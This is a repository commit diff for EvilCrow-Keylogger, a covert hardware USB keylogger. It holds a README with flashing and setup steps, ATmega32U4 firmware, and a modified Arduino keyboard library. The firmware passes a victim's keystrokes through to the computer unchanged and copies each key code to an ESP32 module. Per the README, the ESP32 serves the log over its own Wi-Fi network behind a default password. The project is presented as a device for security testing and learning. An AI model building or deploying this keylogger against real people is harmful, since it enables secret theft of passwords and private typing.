🤬
Showing first 32 files as there are too many
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # EvilCrow-Keylogger
    2 2  WiFi keylogger with Micro SD slot, based on the Atmega32U4 microcontroller and the ESP32-PICO module
    3 3   
     4 +![EvilCrow](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/Logo1.jpg)
     5 + 
     6 + 
     7 + 
     8 +**Idea, development and implementation:** Joel Serna (@JoelSernaMoreno) & Ernesto Sánchez (@ernesto_xload)
     9 + 
     10 +**Collaborators:** Ignacio Díaz (@Nacon_96) / Forensic&Security (@ForensicSec)
     11 + 
     12 +**PCB design, manufacturer and distributor:** April Brother (@aprbrother)
     13 + 
     14 +The developers and collaborators of this project do not earn money with this.
     15 +You can invite me for a coffee to further develop Low-Cost hacking devices. If you don't invite me for a coffee, nothing happens, I will continue developing devices.
     16 + 
     17 +[![ko-fi](https://www.ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/E1E614OA5)
     18 + 
     19 +**For Sale at:**
     20 + 
     21 +* Aliexpress: Coming soon...
     22 +* Tindie: Coming soon...
     23 + 
     24 +# Disclaimer
     25 + 
     26 +Evil Crow Keylogger is a physical keylogger device for professionals and cybersecurity enthusiasts.
     27 + 
     28 +AprilBrother and the collaborators of this project are not responsible for the incorrect use of Evil Crow Keylogger.
     29 + 
     30 +We recommend using this device for testing, learning and fun :D
     31 + 
     32 +# Introduction
     33 + 
     34 +Evil Crow Keylogger is a physical keylogger with the following hardware:
     35 + 
     36 +* Atmega32U4 with Arduino Lilypad USB bootloader
     37 +* ESP32-PICO module for communication via Wi-Fi
     38 +* Slot MicroSD
     39 +* USB Host MAX3421
     40 +* Hall sensor for unbrick device
     41 + 
     42 +**NOTE:** Some keys or modifiers have not been implemented, this is a PoC. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno
     43 + 
     44 +**Layouts:**
     45 + 
     46 +* BE_BE layout support.
     47 +* DE_DE layout support.
     48 +* ES_ES layout support.
     49 +* EN_US layout support.
     50 +* FI_FI layout support.
     51 +* FR_FR layout support.
     52 +* IT_IT layout support.
     53 +* PT_PT layout support.
     54 +* TR_TR layout support.
     55 + 
     56 +**TODO:**
     57 + 
     58 +* MORE LAYOUTS
     59 +* MORE KEYS
     60 +* TEST ALL LAYOUTS
     61 + 
     62 +**NOTE:** Please do not ask me to implement new functions in this code. You can develop code for Evil Crow Keylogger and send me PR with your new code.
     63 + 
     64 +# Installation
     65 + 
     66 +## Software requirements
     67 + 
     68 +* 0.- Add your user to the dialout group: sudo usermod -a -G dialout USER
     69 + 
     70 +* 1.- Install esptool: sudo apt install esptool
     71 + 
     72 +* 2.- Install pyserial: sudo pip install pyserial
     73 + 
     74 +* 3.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software
     75 + 
     76 +* 4.- Open Arduino IDE.
     77 + 
     78 +* 5.- Go to File - Preferences. Locate the field "Additional Board Manager URLs:" Add "https://dl.espressif.com/dl/package_esp32_index.json" without quotes. Click "Ok"
     79 + 
     80 +* 6.- Select Tools - Board - Boards Manager. Search for "esp32". Install "esp32 by Espressif system version 1.0.3". Click "Close".
     81 + 
     82 +* 7.- Download/extract EvilCrow-Keylogger repository.
     83 + 
     84 +* 8.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory.
     85 + 
     86 +**NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work.
     87 + 
     88 +## Upload the ESP32 code
     89 + 
     90 +To upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother.
     91 +On this way I will use an Arduino to upload the ESP32 code.
     92 + 
     93 +Here you can see all the pins corresponding to ESP32:
     94 + 
     95 +![ESP32](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32.PNG)
     96 + 
     97 +* 0.- Wire the Keylogger with Arduino using the following pinout:
     98 + 
     99 +![Flash](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32-flash.PNG)
     100 + 
     101 +![Wire](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/wire.jpg)
     102 + 
     103 +* 1.- Open Arduino IDE.
     104 + 
     105 +* 2.- Open the ESP32.ino sketch.
     106 + 
     107 +* 3.- Select Tools - Board - "ESP32 Dev Module".
     108 + 
     109 +* 4.- Connecting the Arduino device to the computer.
     110 + 
     111 +* 5.- Upload the code to the board.
     112 + 
     113 +## Upload atmega32u4 code
     114 + 
     115 +* 0.- Connect Evil Crow Keylogger via USB port.
     116 + 
     117 +![usb](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/usb.jpg)
     118 + 
     119 +* 1.- Open Arduino IDE.
     120 + 
     121 +* 2.- Open the ATMEGA32U4.ino sketch.
     122 + 
     123 +* 3.- Select Tools - Board – "Arduino Lilypad USB".
     124 + 
     125 +* 4.- Upload the code to the board.
     126 + 
     127 +* Done!
     128 + 
     129 +# First steps with Evil Crow Keylogger
     130 + 
     131 +* 0.- Connect a keyboard to the Evil Crow Keylogger USB host port.
     132 + 
     133 +* 1.- Connect Evil Crow Keylogger to your laptop.
     134 + 
     135 +* 2.- Open a notepad and type Hello World with the keyboard connected to the keylogger
     136 + 
     137 +* 3.- Visualize the wifi networks around you and connect to the Keylogger network.
     138 + 
     139 +* 4.- Enter the password for the wifi network (default password: 123456789).
     140 + 
     141 +* 5.- Open a browser and access the web panel (default IP: 192.168.4.1).
     142 + 
     143 +* 6.- Click on the View Log option
     144 + 
     145 +![Log](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/log.jpg)
     146 + 
     147 +# Use the Micro SD Slot
     148 + 
     149 +Evil Crow Keylogger has a slot to use an SD card, but this is not implemented in this code.
     150 + 
     151 +To use the SD card you will have to program the necessary code for this.
     152 + 
     153 +To test the SD slot... you can use some basic example of SD included in the Arduino IDE.
     154 + 
     155 +You will only have to change the default CS pin to D5. This is the example:
     156 + 
     157 +![SD](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sd.png)
     158 + 
     159 +# Unbrick Evil Crow Keylogger with Hall Sensor
     160 + 
     161 +First, you’ll need to set the serial port to the bootloader. But that port is only visible when the board is in bootloader mode, so pull the reset line low twice quickly to invoke the bootloader reset feature. You can quickly press the reset button** twice. While the Evil Crow Keylogger is in the bootloader mode, change the ‘Tools > Serial Port’ menu to the bootloader COM port. Quick! You’ve only got eight seconds.
     162 + 
     163 +**The reset button is a HALL sensor, that means you need to place a magnet close that side of the PCB, in order to simulate the "button pressure".**
     164 + 
     165 +![Sensor](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sensor.PNG)
     166 + 
     167 +* 1.- Open Arduino IDE and open ATMEGA32U4.ino sketch
     168 + 
     169 +* 2.- Connect Evil Crow Keylogger via USB port.
     170 + 
     171 +* 3.- Press Upload sketch
     172 + 
     173 +* 4.- Start the unbrick phase with a magnet by placing it close that side of the PCB where the hall sensor is located (do it two times). Close-away-close-away
     174 + 
  • ■ ■ ■ ■ ■ ■
    code/ATMEGA32U4/ATMEGA32U4.ino
     1 +#include <Keyboard.h>
     2 +#include <hidboot.h>
     3 +#include <usbhub.h>
     4 +#include <EEPROM.h>
     5 + 
     6 +// Satisfy the IDE, which needs to see the include statment in the ino too.
     7 +#ifdef dobogusinclude
     8 +#include <spi4teensy3.h>
     9 +#endif
     10 +#include <SPI.h>
     11 + 
     12 +#define MODIFIERKEY_LEFT_CTRL (0x01)
     13 +#define MODIFIERKEY_LEFT_SHIFT (0x02)
     14 +#define MODIFIERKEY_LEFT_ALT (0x04)
     15 +#define MODIFIERKEY_LEFT_GUI (0x08)
     16 +#define MODIFIERKEY_RIGHT_CTRL (0x10)
     17 +#define MODIFIERKEY_RIGHT_SHIFT (0x20)
     18 +#define MODIFIERKEY_RIGHT_ALT (0x40)
     19 +#define MODIFIERKEY_RIGHT_GUI (0x80)
     20 + 
     21 +//modifiers
     22 +int leftctrl_status=0;
     23 +int leftshift_status=0;
     24 +int leftalt_status=0;
     25 +int leftgui_status=0;
     26 +int rightctrl_status=0;
     27 +int rightshift_status=0;
     28 +int rightalt_status=0;
     29 +int rightgui_status=0;
     30 +uint8_t modifiers=0;
     31 + 
     32 +void SetModifiers(void) {
     33 + modifiers=0;
     34 + if (leftctrl_status) modifiers = (modifiers | MODIFIERKEY_LEFT_CTRL);
     35 + if (leftshift_status) modifiers = (modifiers | MODIFIERKEY_LEFT_SHIFT);
     36 + if (leftalt_status) modifiers = (modifiers | MODIFIERKEY_LEFT_ALT);
     37 + if (leftgui_status) modifiers = (modifiers | MODIFIERKEY_LEFT_GUI);
     38 + if (rightctrl_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_CTRL);
     39 + if (rightshift_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_SHIFT);
     40 + if (rightalt_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_ALT);
     41 + if (rightgui_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_GUI);
     42 +};
     43 + 
     44 +class KbdRptParser : public KeyboardReportParser {
     45 + void PrintKey(uint8_t mod, uint8_t key);
     46 + 
     47 + protected:
     48 + void OnControlKeysChanged(uint8_t before, uint8_t after);
     49 + 
     50 + void OnKeyDown (uint8_t mod, uint8_t key);
     51 + void OnKeyUp (uint8_t mod, uint8_t key);
     52 + void OnKeyPressed(uint8_t key);
     53 +};
     54 + 
     55 +void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
     56 +
     57 + SetModifiers();
     58 + Serial1.print(key);
     59 + Serial1.print(" ");
     60 + Serial1.println(modifiers);
     61 +}
     62 + 
     63 +void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {
     64 + 
     65 + SetModifiers();
     66 + Keyboard.rawpress(key, modifiers);
     67 + Keyboard.releaseAll();
     68 +}
     69 + 
     70 +void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
     71 +
     72 + MODIFIERKEYS beforeMod;
     73 + *((uint8_t*)&beforeMod) = before;
     74 + 
     75 + MODIFIERKEYS afterMod;
     76 + *((uint8_t*)&afterMod) = after;
     77 + 
     78 + if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) {
     79 + leftctrl_status=!leftctrl_status;
     80 + }
     81 + if (beforeMod.bmLeftShift != afterMod.bmLeftShift) {
     82 + leftshift_status=!leftshift_status;
     83 + }
     84 + if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) {
     85 + leftalt_status=!leftalt_status;
     86 + }
     87 + if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {
     88 + leftgui_status=!leftgui_status;
     89 + }
     90 + 
     91 + if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) {
     92 + rightctrl_status=!rightctrl_status;
     93 + }
     94 + if (beforeMod.bmRightShift != afterMod.bmRightShift) {
     95 + rightshift_status=!rightshift_status;
     96 + }
     97 + if (beforeMod.bmRightAlt != afterMod.bmRightAlt) {
     98 + rightalt_status=!rightalt_status;
     99 + }
     100 + if (beforeMod.bmRightGUI != afterMod.bmRightGUI) {
     101 + rightgui_status=!rightgui_status;
     102 + }
     103 +}
     104 + 
     105 +USB Usb;
     106 +HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
     107 + 
     108 +KbdRptParser Prs;
     109 + 
     110 +void setup() {
     111 + Serial1.begin(115200);
     112 +
     113 + #if !defined(__MIPSEL__)
     114 + while (!Serial1); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection
     115 + #endif
     116 + 
     117 + if (Usb.Init() == -1)
     118 + delay(200);
     119 + HidKeyboard.SetReportParser(0, &Prs);
     120 +}
     121 + 
     122 +void loop() {
     123 + Usb.Task();
     124 +}
     125 + 
  • code/ESP32/ESP32.ino
    Diff is too large to be displayed.
  • images/Logo1.jpg
  • images/esp32-flash.PNG
  • images/esp32.PNG
  • images/log.jpg
  • images/sd.png
  • images/sensor.PNG
  • images/usb.jpg
  • images/wire.jpg
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/Readme.md
     1 +Arduino Keyboard library with multiple layout support
     2 +=====================================================
     3 +
     4 +Based on Arduino Keyboard library 1.0.1
     5 +
     6 +This library allows an Arduino board with USB capabilites to act as a Keyboard.
     7 +
     8 +For more information about this library please visit http://www.arduino.cc/en/Reference/Keyboard
     9 +
     10 +Modified by Ernesto Sanchez to support multiple keyboard layout
     11 +
     12 +Supported layouts:
     13 +* be_be
     14 +* cz_cz
     15 +* da_dk
     16 +* de_de
     17 +* en_us (default)
     18 +* es_es
     19 +* fi_fi
     20 +* fr_fr
     21 +* it_it
     22 +* pt_pt
     23 +* tr_tr
     24 +
     25 +__NOTE:__ Only en_us and es_es are tested at june 2017.
     26 +
     27 +Download and installation
     28 +=========================
     29 +- Click "Clone or download" -> "Download ZIP"
     30 +- Unzip downloaded file in Arduino/libraries/ directory
     31 +
     32 +Use
     33 +===
     34 +To configure the keyboard layout it just add #define kbd_lang after #include <Keyboard.h>
     35 +
     36 +Example:
     37 +```
     38 +#define kbd_es_es
     39 +#include <Keyboard.h>
     40 +```
     41 +
     42 +You can use:
     43 +* kbd_be_be
     44 +* kbd_cz_cz
     45 +* kbd_da_dk
     46 +* kbd_de_de
     47 +* kbd_en_us
     48 +* kbd_es_es
     49 +* kbd_fi_fi
     50 +* kbd_fr_fr
     51 +* kbd_it_it
     52 +* kbd_pt_pt
     53 +* kbd_tr_tr
     54 +
     55 +If none is especified en_us is used by default.
     56 +
     57 +Version History
     58 +===============
     59 +```
     60 +(Date format: DD/MM/YYYY)
     61 +* 8/7/2017 Fix backslash problem in es_es.h
     62 +* 14/6/2017 First commit
     63 +
     64 +```
     65 +
     66 +TO DO
     67 +=====
     68 +- Test all layouts
     69 +- Implement a solution for extended ascii characters
     70 +
     71 +
     72 +Contact
     73 +=======
     74 +Open an issue, ask me on twitter to [@ernesto_xload](http://www.twitter.com/ernesto_xload/) or visit www.sanchezpano.info
     75 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/keywords.txt
     1 +#######################################
     2 +# Syntax Coloring Map For Keyboard
     3 +#######################################
     4 + 
     5 +#######################################
     6 +# Datatypes (KEYWORD1)
     7 +#######################################
     8 + 
     9 +Keyboard KEYWORD1
     10 + 
     11 +#######################################
     12 +# Methods and Functions (KEYWORD2)
     13 +#######################################
     14 + 
     15 +begin KEYWORD2
     16 +write KEYWORD2
     17 +press KEYWORD2
     18 +release KEYWORD2
     19 +releaseAll KEYWORD2
     20 + 
     21 +#######################################
     22 +# Constants (LITERAL1)
     23 +#######################################
     24 + 
     25 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/library.properties
     1 +name=Keyboard
     2 +version=1.0.1
     3 +author=Arduino
     4 +maintainer=Ernesto Sanchez
     5 +sentence=Allows an Arduino/Genuino board with USB capabilites to act as a Keyboard.
     6 +paragraph=This library plugs on the HID library. It can be used with or without other HID-based libraries (Mouse, Gamepad etc) Modified by Ernesto Sanchez to add keyboard layout support
     7 +category=Device Control
     8 +url=http://www.arduino.cc/en/Reference/Keyboard
     9 +architectures=*
     10 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/Keyboard.cpp
     1 +/*
     2 + Keyboard.cpp
     3 + 
     4 + Copyright (c) 2015, Arduino LLC
     5 + Original code (pre-library): Copyright (c) 2011, Peter Barrett
     6 + 
     7 + This library is free software; you can redistribute it and/or
     8 + modify it under the terms of the GNU Lesser General Public
     9 + License as published by the Free Software Foundation; either
     10 + version 2.1 of the License, or (at your option) any later version.
     11 + 
     12 + This library is distributed in the hope that it will be useful,
     13 + but WITHOUT ANY WARRANTY; without even the implied warranty of
     14 + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
     15 + Lesser General Public License for more details.
     16 + 
     17 + You should have received a copy of the GNU Lesser General Public
     18 + License along with this library; if not, write to the Free Software
     19 + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
     20 +*/
     21 + 
     22 +#include "Keyboard.h"
     23 + 
     24 +#if defined(_USING_HID)
     25 + 
     26 +#define kbd_es_es
     27 + 
     28 +/*
     29 +#define kbd_es_es
     30 +*/
     31 + 
     32 +#ifdef kbd_be_be
     33 +#include "be_be.h"
     34 +#endif
     35 +#ifdef kbd_cz_cz
     36 +#include "cz_cz.h"
     37 +#endif
     38 +#ifdef kbd_da_dk
     39 +#include "da_dk.h"
     40 +#endif
     41 +#ifdef kbd_de_de
     42 +#include "de_de.h"
     43 +#endif
     44 +#ifdef kbd_es_es
     45 +#include "es_es.h"
     46 +#endif
     47 +#ifdef kbd_fi_fi
     48 +#include "fi_fi.h"
     49 +#endif
     50 +#ifdef kbd_fr_fr
     51 +#include "fr_fr.h"
     52 +#endif
     53 +#ifdef kbd_it_it
     54 +#include "it_it.h"
     55 +#endif
     56 +#ifdef kbd_pt_pt
     57 +#include "pt_pt.h"
     58 +#endif
     59 +#ifdef kbd_tr_tr
     60 +#include "tr_tr.h"
     61 +#endif
     62 +#ifndef _kbd_lang
     63 +#include "en_us.h"
     64 +#endif
     65 + 
     66 + 
     67 + 
     68 +//================================================================================
     69 +//================================================================================
     70 +// Keyboard
     71 + 
     72 +static const uint8_t _hidReportDescriptor[] PROGMEM = {
     73 + 
     74 + // Keyboard
     75 + 0x05, 0x01, // USAGE_PAGE (Generic Desktop) // 47
     76 + 0x09, 0x06, // USAGE (Keyboard)
     77 + 0xa1, 0x01, // COLLECTION (Application)
     78 + 0x85, 0x02, // REPORT_ID (2)
     79 + 0x05, 0x07, // USAGE_PAGE (Keyboard)
     80 +
     81 + 0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl)
     82 + 0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI)
     83 + 0x15, 0x00, // LOGICAL_MINIMUM (0)
     84 + 0x25, 0x01, // LOGICAL_MAXIMUM (1)
     85 + 0x75, 0x01, // REPORT_SIZE (1)
     86 +
     87 + 0x95, 0x08, // REPORT_COUNT (8)
     88 + 0x81, 0x02, // INPUT (Data,Var,Abs)
     89 + 0x95, 0x01, // REPORT_COUNT (1)
     90 + 0x75, 0x08, // REPORT_SIZE (8)
     91 + 0x81, 0x03, // INPUT (Cnst,Var,Abs)
     92 +
     93 + 0x95, 0x06, // REPORT_COUNT (6)
     94 + 0x75, 0x08, // REPORT_SIZE (8)
     95 + 0x15, 0x00, // LOGICAL_MINIMUM (0)
     96 + 0x25, 0x65, // LOGICAL_MAXIMUM (101)
     97 + 0x05, 0x07, // USAGE_PAGE (Keyboard)
     98 +
     99 + 0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated))
     100 + 0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application)
     101 + 0x81, 0x00, // INPUT (Data,Ary,Abs)
     102 + 0xc0, // END_COLLECTION
     103 +};
     104 + 
     105 +Keyboard_::Keyboard_(void)
     106 +{
     107 + static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor));
     108 + HID().AppendDescriptor(&node);
     109 +}
     110 + 
     111 +void Keyboard_::begin(void)
     112 +{
     113 +}
     114 + 
     115 +void Keyboard_::end(void)
     116 +{
     117 +}
     118 + 
     119 +void Keyboard_::sendReport(KeyReport* keys)
     120 +{
     121 + HID().SendReport(2,keys,sizeof(KeyReport));
     122 +}
     123 + 
     124 +/*
     125 +extern
     126 +const uint8_t _asciimap[256] PROGMEM;
     127 + 
     128 +#define SHIFT 0x80
     129 +#define ALTGR 0x40
     130 +const uint8_t _asciimap[256] =
     131 +{
     132 + 0x00, // NUL
     133 + 0x00, // SOH
     134 + 0x00, // STX
     135 + 0x00, // ETX
     136 + 0x00, // EOT
     137 + 0x00, // ENQ
     138 + 0x00, // ACK
     139 + 0x00, // BEL
     140 + 0x2a, // BS Backspace
     141 + 0x2b, // TAB Tab
     142 + 0x28, // LF Enter
     143 + 0x00, // VT
     144 + 0x00, // FF
     145 + 0x00, // CR
     146 + 0x00, // SO
     147 + 0x00, // SI
     148 + 0x00, // DEL
     149 + 0x00, // DC1
     150 + 0x00, // DC2
     151 + 0x00, // DC3
     152 + 0x00, // DC4
     153 + 0x00, // NAK
     154 + 0x00, // SYN
     155 + 0x00, // ETB
     156 + 0x00, // CAN
     157 + 0x00, // EM
     158 + 0x00, // SUB
     159 + 0x00, // ESC
     160 + 0x00, // FS
     161 + 0x00, // GS
     162 + 0x00, // RS
     163 + 0x00, // US
     164 + 0x2c, // ' ' (space)
     165 + 0x1e|SHIFT, // !
     166 + 0x1f|SHIFT, // "
     167 + 0x20|ALTGR, // #
     168 + 0x21|SHIFT, // $
     169 + 0x22|SHIFT, // %
     170 + 0x23|SHIFT, // &
     171 + 0x2d, // '
     172 + 0x25|SHIFT, // (
     173 + 0x26|SHIFT, // )
     174 + 0x30|SHIFT, // *
     175 + 0x30, // +
     176 + 0x36, // ,
     177 + 0x38, // -
     178 + 0x37, // .
     179 + 0x24|SHIFT, // /
     180 + 0x27, // 0
     181 + 0x1e, // 1
     182 + 0x1f, // 2
     183 + 0x20, // 3
     184 + 0x21, // 4
     185 + 0x22, // 5
     186 + 0x23, // 6
     187 + 0x24, // 7
     188 + 0x25, // 8
     189 + 0x26, // 9
     190 + 0x37|SHIFT, // :
     191 + 0x36|SHIFT, // ;
     192 + 0x03, // < //KEY_NON_US_100
     193 + 0x27|SHIFT, // =
     194 + 0x03|SHIFT, // > //KEY_NON_US_100 + SHIFT
     195 + 0x2d|SHIFT, // ?
     196 + 0x1f|ALTGR, // @
     197 + 0x04|SHIFT, // A
     198 + 0x05|SHIFT, // B
     199 + 0x06|SHIFT, // C
     200 + 0x07|SHIFT, // D
     201 + 0x08|SHIFT, // E
     202 + 0x09|SHIFT, // F
     203 + 0x0a|SHIFT, // G
     204 + 0x0b|SHIFT, // H
     205 + 0x0c|SHIFT, // I
     206 + 0x0d|SHIFT, // J
     207 + 0x0e|SHIFT, // K
     208 + 0x0f|SHIFT, // L
     209 + 0x10|SHIFT, // M
     210 + 0x11|SHIFT, // N
     211 + 0x12|SHIFT, // O
     212 + 0x13|SHIFT, // P
     213 + 0x14|SHIFT, // Q
     214 + 0x15|SHIFT, // R
     215 + 0x16|SHIFT, // S
     216 + 0x17|SHIFT, // T
     217 + 0x18|SHIFT, // U
     218 + 0x19|SHIFT, // V
     219 + 0x1a|SHIFT, // W
     220 + 0x1b|SHIFT, // X
     221 + 0x1c|SHIFT, // Y
     222 + 0x1d|SHIFT, // Z
     223 + 0x2f|ALTGR, // [
     224 + 0x35, // bslash
     225 + 0x30|ALTGR, // ]
     226 + 0x2f|SHIFT, // ^
     227 + 0x38|SHIFT, // _
     228 + 0x2f, // `
     229 + 0x04, // a
     230 + 0x05, // b
     231 + 0x06, // c
     232 + 0x07, // d
     233 + 0x08, // e
     234 + 0x09, // f
     235 + 0x0a, // g
     236 + 0x0b, // h
     237 + 0x0c, // i
     238 + 0x0d, // j
     239 + 0x0e, // k
     240 + 0x0f, // l
     241 + 0x10, // m
     242 + 0x11, // n
     243 + 0x12, // o
     244 + 0x13, // p
     245 + 0x14, // q
     246 + 0x15, // r
     247 + 0x16, // s
     248 + 0x17, // t
     249 + 0x18, // u
     250 + 0x19, // v
     251 + 0x1a, // w
     252 + 0x1b, // x
     253 + 0x1c, // y
     254 + 0x1d, // z
     255 + 0x34|ALTGR, // {
     256 + 0x1e|ALTGR, // |
     257 + 0x32|ALTGR, // }
     258 + 0x21|ALTGR, // ~
     259 + 0x00, // DEL
     260 + 0x00, // Ç Start extended ASCII
     261 + 0x00,
     262 + 0x00,
     263 + 0x00,
     264 + 0x00,
     265 + 0x00,
     266 + 0x00,
     267 + 0x00, // ç
     268 + 0x00,
     269 + 0x00,
     270 + 0x00,
     271 + 0x00,
     272 + 0x00,
     273 + 0x00,
     274 + 0x00,
     275 + 0x00,
     276 + 0x00,
     277 + 0x00,
     278 + 0x00,
     279 + 0x00,
     280 + 0x00,
     281 + 0x00,
     282 + 0x00,
     283 + 0x00,
     284 + 0x00,
     285 + 0x00,
     286 + 0x00,
     287 + 0x00,
     288 + 0x00,
     289 + 0x00,
     290 + 0x00,
     291 + 0x00,
     292 + 0x00,
     293 + 0x00,
     294 + 0x00,
     295 + 0x00,
     296 + 0x33, // ñ
     297 + 0x33|SHIFT, // Ñ
     298 + 0x00,
     299 + 0x00,
     300 + 0x2e|SHIFT, // ¿
     301 + 0x00,
     302 + 0x00,
     303 + 0x00,
     304 + 0x00,
     305 + 0x2e, // ¡
     306 + 0x00,
     307 + 0x00,
     308 + 0x00,
     309 + 0x00,
     310 + 0x00,
     311 + 0x00,
     312 + 0x00,
     313 + 0x00,
     314 + 0x00,
     315 + 0x00,
     316 + 0x00,
     317 + 0x00,
     318 + 0x00,
     319 + 0x00,
     320 + 0x00,
     321 + 0x00,
     322 + 0x00,
     323 + 0x00,
     324 + 0x00,
     325 + 0x00,
     326 + 0x00,
     327 + 0x00,
     328 + 0x00,
     329 + 0x00,
     330 + 0x00,
     331 + 0x00,
     332 + 0x00,
     333 + 0x00,
     334 + 0x00,
     335 + 0x00,
     336 + 0x00,
     337 + 0x00,
     338 + 0x00,
     339 + 0x00,
     340 + 0x00,
     341 + 0x00,
     342 + 0x00,
     343 + 0x00,
     344 + 0x00,
     345 + 0x00,
     346 + 0x00,
     347 + 0x00,
     348 + 0x00,
     349 + 0x00,
     350 + 0x00,
     351 + 0x00,
     352 + 0x00,
     353 + 0x00,
     354 + 0x00,
     355 + 0x00,
     356 + 0x00,
     357 + 0x00,
     358 + 0x00,
     359 + 0x00,
     360 + 0x00,
     361 + 0x00,
     362 + 0x00,
     363 + 0x00,
     364 + 0x00,
     365 + 0x00,
     366 + 0x00,
     367 + 0x00,
     368 + 0x00,
     369 + 0x00,
     370 + 0x00,
     371 + 0x00,
     372 + 0x00,
     373 + 0x00,
     374 + 0x00,
     375 + 0x00,
     376 + 0x00,
     377 + 0x00,
     378 + 0x00,
     379 + 0x00,
     380 + 0x00,
     381 + 0x00,
     382 + 0x00,
     383 + 0x00,
     384 + 0x00,
     385 + 0x00,
     386 + 0x00,
     387 + 0x00,
     388 + 
     389 +};
     390 + 
     391 + 
     392 + 
     393 +// Init var
     394 +bool _altGrMap[128];
     395 +bool _altFine = false;
     396 + 
     397 +// Individually define all needed char
     398 +void initAltGr() {
     399 + _altFine = true;
     400 + 
     401 + _altGrMap[126] = true; // ~
     402 + _altGrMap[123] = true; // {
     403 + _altGrMap[91] = true; // [
     404 + _altGrMap[93] = true; // ]
     405 + _altGrMap[125] = true; // }
     406 + _altGrMap[92] = true; // bslash
     407 + _altGrMap[124] = true; // |
     408 + _altGrMap[64] = true; // @
     409 + _altGrMap[35] = true; // #
     410 +}*/
     411 + 
     412 + 
     413 + 
     414 +uint8_t USBPutChar(uint8_t c);
     415 + 
     416 +// press() adds the specified key (printing, non-printing, or modifier)
     417 +// to the persistent key report and sends the report. Because of the way
     418 +// USB HID works, the host acts like the key remains pressed until we
     419 +// call release(), releaseAll(), or otherwise clear the report and resend.
     420 +size_t Keyboard_::press(uint8_t k)
     421 +{
     422 + uint8_t i;
     423 + 
     424 + if(k>=0xB0 && k<=0xDA){ //it's a non-printing key
     425 + if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually
     426 + if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key)
     427 + if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Screen key)
     428 + }
     429 + else{
     430 + k = k - 136;
     431 + }
     432 + }
     433 + else {
     434 + if(k>=0x80 && k<=0x87){ //it's a modifier
     435 + _keyReport.modifiers |= (1<<(k-128));
     436 + k = 0;
     437 + }
     438 + else{ //it's a printable key
     439 + 
     440 + k = pgm_read_byte(_asciimap + k);
     441 + 
     442 + if (k & 0x80) { // it's a capital letter or other character reached with shift
     443 + _keyReport.modifiers |= 0x02; // the left shift modifier
     444 + k &= 0x7F;
     445 + }
     446 + if (k & 0x40) { // altgr modifier (RIGHT_ALT)
     447 + _keyReport.modifiers |= 0x40; // the left shift modifier
     448 + k &= 0x3F;
     449 + }
     450 + if (k == 0x03) { // special case 0x64
     451 + k = 0x64;
     452 + }
     453 + }
     454 + }
     455 + 
     456 + // Add k to the key report only if it's not already present
     457 + // and if there is an empty slot.
     458 + if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
     459 + _keyReport.keys[2] != k && _keyReport.keys[3] != k &&
     460 + _keyReport.keys[4] != k && _keyReport.keys[5] != k) {
     461 +
     462 + for (i=0; i<6; i++) {
     463 + if (_keyReport.keys[i] == 0x00) {
     464 + _keyReport.keys[i] = k;
     465 + break;
     466 + }
     467 + }
     468 + if (i == 6) {
     469 + setWriteError();
     470 + return 0;
     471 + }
     472 + }
     473 + sendReport(&_keyReport);
     474 + return 1;
     475 +}
     476 + 
     477 + 
     478 +// Joel
     479 +size_t Keyboard_::rawpress(uint8_t k, uint8_t rawmodifiers) //
     480 +{
     481 + uint8_t i;
     482 + 
     483 +/*
     484 + if(k>=0xB0 && k<=0xDA){ //it's a non-printing key
     485 + if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually
     486 + if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key)
     487 + if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Screen key)
     488 + }
     489 + else{
     490 + k = k - 136;
     491 + }
     492 + }
     493 + else {
     494 + if(k>=0x80 && k<=0x87){ //it's a modifier
     495 + _keyReport.modifiers |= (1<<(k-128));
     496 + k = 0;
     497 + }
     498 + else{ //it's a printable key
